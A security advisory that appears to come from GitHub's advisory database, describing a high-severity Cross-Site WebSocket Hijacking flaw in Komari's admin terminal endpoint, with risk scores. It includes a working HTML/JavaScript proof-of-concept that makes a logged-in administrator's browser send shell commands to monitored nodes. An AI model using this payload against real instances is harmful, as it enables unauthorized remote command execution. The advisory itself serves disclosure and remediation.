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GHSA-q355-h244-969h

HighCVSS 8.6 / 10
Published Aug 12, 2025·Last modified Aug 19, 2025
Affected Components(0)

No affected components available

Description

Summary

WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users

Details

https://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35

Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution

PoC

  1. Login in to your komari instance
  2. Hosting the following HTML code on internet, replace <komari-addr> and <target-uuid> into yours
  3. Visit this HTML page, you can see your node is executing uptime without your actions
<pre></pre>
<script>
const socket = new WebSocket("wss://<komari-addr>/api/admin/client/<target-uuid>/terminal");
socket.addEventListener("open", (event) => {
  const binaryBlob = new Blob(['uptime\n'], { type: 'application/octet-stream' });
  socket.send(binaryBlob);
});
socket.addEventListener("message", (event) => {
  event.data.text().then(x => {document.querySelector("pre").append(x)});
});
</script>

Impact

An administrator of a Komari instance will execute commands on their nodes unnoticed when visiting a malware page.

Risk Scores
Base Score
8.6

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights.

Threat Intelligence
6.1

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.55%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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High severity
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